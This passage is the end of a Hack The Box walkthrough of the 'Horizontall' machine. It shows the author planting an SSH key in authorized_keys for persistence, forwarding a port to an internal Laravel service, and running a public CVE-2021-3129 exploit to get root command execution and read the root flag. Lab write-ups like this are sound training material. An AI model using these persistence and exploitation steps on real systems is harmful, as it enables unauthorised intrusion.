ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkDdV5qWpSZ2sRwje7g80X5H/ZiUEJpHvCWDwCW9HX/+UC3X0QeGDrYfOWnnoIOOJbChrFJx8yD2xnLfMFacDV9BDYBl9AXCDoDqLeREtG+qMIoeeykaXJCwUCgPcxRRpV0t+L1ARh+V8enQZG/c3AsCkJ3Ai8Hvuj842n4qjy4miT7UcUoP9AaFqaJ8MhEwP0xX+R+R2VuTW+q28NGf78QKqL5li6RImMPvkxNnA4wcD4nR9J5SEKaCbptDWgAsFwoSWILKyyv0vpv0o+h18NUXwwlOBFP2IavGG+cPyrtKQK+9BmN1BmhbGX1S7Q6/wcGiN4g+tVofvNuuDARfGDZ7h8sClXXFYy9Vr1CrRmyJVJtuBShX860XJQnen2DWe0ev0CJkSwWrjOYlrekEDoyu8B6dpCss5jxW4ta/JBvK63BWRZiD7VTrTzAlZan5FN+Sghz9mOZ3Mltrvb+HybageNJAbCsySbffQc7EUA34/pWphWCdqe+g95igInQ28= in7rud3r@kali-muletto

Insert your public key in the BOX authorized_keys file.

$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkDdV5qWpSZ2sRwje7g80X5H/ZiUEJpHvCWDwCW9HX/+UC3X0QeGDrYfOWnnoIOOJbChrFJx8yD2xnLfMFacDV9BDYBl9AXCDoDqLeREtG+qMIoeeykaXJCwUCgPcxRRpV0t+L1ARh+V8enQZG/c3AsCkJ3Ai8Hvuj842n4qjy4miT7UcUoP9AaFqaJ8MhEwP0xX+R+R2VuTW+q28NGf78QKqL5li6RImMPvkxNnA4wcD4nR9J5SEKaCbptDWgAsFwoSWILKyyv0vpv0o+h18NUXwwlOBFP2IavGG+cPyrtKQK+9BmN1BmhbGX1S7Q6/wcGiN4g+tVofvNuuDARfGDZ7h8sClXXFYy9Vr1CrRmyJVJtuBShX860XJQnen2DWe0ev0CJkSwWrjOYlrekEDoyu8B6dpCss5jxW4ta/JBvK63BWRZiD7VTrTzAlZan5FN+Sghz9mOZ3Mltrvb+HybageNJAbCsySbffQc7EUA34/pWphWCdqe+g95igInQ28= in7rud3r@kali-muletto" >> authorized_keys

And activate your local forward to the BOX.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.105 - Horizontall (lin)/attack/laravel]
└─$ ssh strapi@10.10.11.105 -L 8000:localhost:8000
Enter passphrase for key '/home/in7rud3r/.ssh/id_rsa': 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Sep 11 10:39:24 UTC 2021

  System load:  0.38              Processes:           292
  Usage of /:   88.8% of 4.85GB   Users logged in:     0
  Memory usage: 51%               IP address for eth0: 10.10.11.105
  Swap usage:   9%

  => / is using 88.8% of 4.85GB
  => There is 1 zombie process.


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Sep 11 10:38:26 2021 from 10.10.14.43
$

To make sure that everything works, just launch the navigation from the browser to the address http://localhost:8000

Perfect! Unfortunately, the exploit doesn't seem to work from my machine either, but it could possibly be the exploit version or some other setting. However, we have many other exploits to try, so let's move on to the second one.

GitHub - khanhnv-2091/laravel-8.4.2-rce
Contribute to khanhnv-2091/laravel-8.4.2-rce development by creating an account on GitHub.

We will find that three is the lucky number.

GitHub - FunPhishing/Laravel-8.4.2-rce-CVE-2021-3129
Contribute to FunPhishing/Laravel-8.4.2-rce-CVE-2021-3129 development by creating an account on GitHub.

Modify the last part of the code with the right address and the command you want to execute (I would say that an "id" just to verify that the exploit works is adequate and will suffice).

[...]
def main():
    Exp("http://127.0.0.1:8000", "id") # target and command
[...]

After I launched it, everything seemed to work this time.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.105 - Horizontall (lin)/attack/laravel]
└─$ python3 exploit2.py                                                                                        1 ⨯
[*] Try to use monolog_rce1 for exploitation.
[*] Result:
uid=0(root) gid=0(root) groups=0(root)

[*] Try to use monolog_rce2 for exploitation.
[*] Result:
uid=0(root) gid=0(root) groups=0(root)

[*] Try to use monolog_rce3 for exploitation.
[*] Result:
[-] RCE echo is not found.

The best thing we discovered is that the user that is running laravel is the root user. We finally arrived, so let's change the command to execute the exploit again, and let's capture our root flag.

[...]
def main():
    Exp("http://127.0.0.1:8000", "cat /root/root.txt") # target and command
[...]

And voila! Our exploit executed successfully!

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.105 - Horizontall (lin)/attack/laravel]
└─$ python3 exploit2.py
[*] Try to use monolog_rce1 for exploitation.
[*] Result:
6******************************3

[*] Try to use monolog_rce2 for exploitation.
[*] Result:
6******************************3

[*] Try to use monolog_rce3 for exploitation.
[*] Result:
[-] RCE echo is not found.

What can I say?! It's really funny how it turned out.

I hope you enjoyed this walkthrough of Horizontall. See you at the next BOX! That's all folks.

Happy hacking!

This delightful image was created by Nikita Kaun who makes splendid posters and pop film art.